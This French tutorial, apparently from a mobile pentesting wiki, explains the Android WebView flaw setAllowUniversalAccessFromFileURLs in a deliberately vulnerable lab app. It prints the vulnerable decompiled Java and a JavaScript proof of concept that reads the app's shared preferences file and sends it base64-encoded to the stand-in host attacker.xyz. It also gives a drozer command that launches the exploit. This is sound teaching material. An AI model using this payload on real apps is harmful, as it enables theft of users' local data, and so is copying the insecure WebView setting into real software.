Description
setAllowUniversalAccessFromFileURLs permet à JavaScript de s'exécuter dans le contexte de l'URL du schéma de fichiers pour accéder au contenu de n'importe quelle origine, y compris d'autres URL de schéma de fichiers.
Ce paramètre supprime toutes les restrictions de politique d'origine et permet à WebVIew d'effectuer des requêtes sur le Web à partir du fichier, ce qui n'est normalement pas possible. L'attaquant peut ainsi lire des fichiers locaux à l'aide de javascript et les envoyer sur le Web vers un domaine contrôlé par l'attaquant.
Détection
Code source
Copier import android . webkit . WebChromeClient ;
import android . webkit . WebView ;
import android . webkit . WebViewClient ;
import androidx . appcompat . app . AppCompatActivity ;
/* loaded from: classes.dex */
public class RegistrationWebView extends AppCompatActivity {
/* JADX INFO: Access modifiers changed from: protected */
@Override // androidx.appcompat.app.AppCompatActivity, androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
public void onCreate ( Bundle savedInstanceState) {
super . onCreate (savedInstanceState);
setContentView( R . layout . activity_registration_web_view ) ;
setTitle( "Registration page" ) ;
loadWebView() ;
}
private void loadWebView () {
WebView webView = (WebView) findViewById( R . id . webview ) ;
webView . setWebChromeClient ( new WebChromeClient() { // from class: com.tmh.vulnwebview.RegistrationWebView.1
@ Override // android.webkit.WebChromeClient
public boolean onConsoleMessage ( ConsoleMessage consoleMessage) {
Log.d("MyApplication", consoleMessage.message() + " -- From line " + consoleMessage.lineNumber() + " of " + consoleMessage.sourceId());
return true ;
}
});
webView . setWebViewClient ( new WebViewClient() );
webView . getSettings () . setAllowUniversalAccessFromFileURLs ( true );
webView . getSettings () . setJavaScriptEnabled ( true );
if ( getIntent() . getExtras () . getBoolean ( "is_reg" , false )) {
webView . loadUrl ( "file:///android_asset/registration.html" );
} else {
webView . loadUrl ( getIntent() . getStringExtra ( "reg_url" ));
}
}
}
On peut constater ici à la ligne 27 la présence de la fonction setAllowUniversalAccessFromFileURLs(true)
Exploitation
Pour exploiter la vulnérabilité, il nouc faut créer un exploit en javascript qui va être appelé par l'application et qui va permettre d'exfiltrer des données locales vers un serveur attaquant.
Pour ceci voici un PoC simple:
Copier < script >
var url = 'file:///data/data/com.tmh.vulnwebview/shared_prefs/MainActivity.xml' ;
function load (url) {
var xhr = new XMLHttpRequest ();
xhr . onreadystatechange = function () {
if ( xhr .readyState === 4 ) {
fetch ( 'https://attacker.xyz?secrets=' + btoa ( xhr .responseText));
}
}
xhr .open ( 'GET' , url , true );
xhr .send ( '' );
}
load (url)
</ script >
Décomposition de l'exploit
Déclaration de la variable contenant le chemin vers le fichier local souhaité
Copier var url = 'file:///data/data/com.tmh.vulnwebview/shared_prefs/MainActivity.xml' ;
Déclaration d'une fonction load prenant comme paramètre la variable préalablement définie
Copier function load (url) {
Utilisation d'XMLHttpRequest pour l'envoie de la requête HTTP au serveur attaquant
Copier var xhr = new XMLHttpRequest ();
xhr . onreadystatechange = function () {
Lien vers le serveur attaquant + encodage en base64
Copier fetch ( 'https://attacker.xyz?secrets=' + btoa ( xhr .responseText));
Fin de la requête et envoie
Copier xhr .open ( 'GET' , url , true );
xhr .send ( '' );
Appel de la fonction load avec la variable url comme paramètre
Execution de l'exploit
Il nous reste maintenant à envoyer l'exploit comme ceci avec drozer:
Copier run app.activity.start --component com.tmh.vulnwebview com.tmh.vulnwebview.RegistrationWebView --extra string reg_url "file:///path/to/poc.html"
Dernière mise à jour il y a 1 an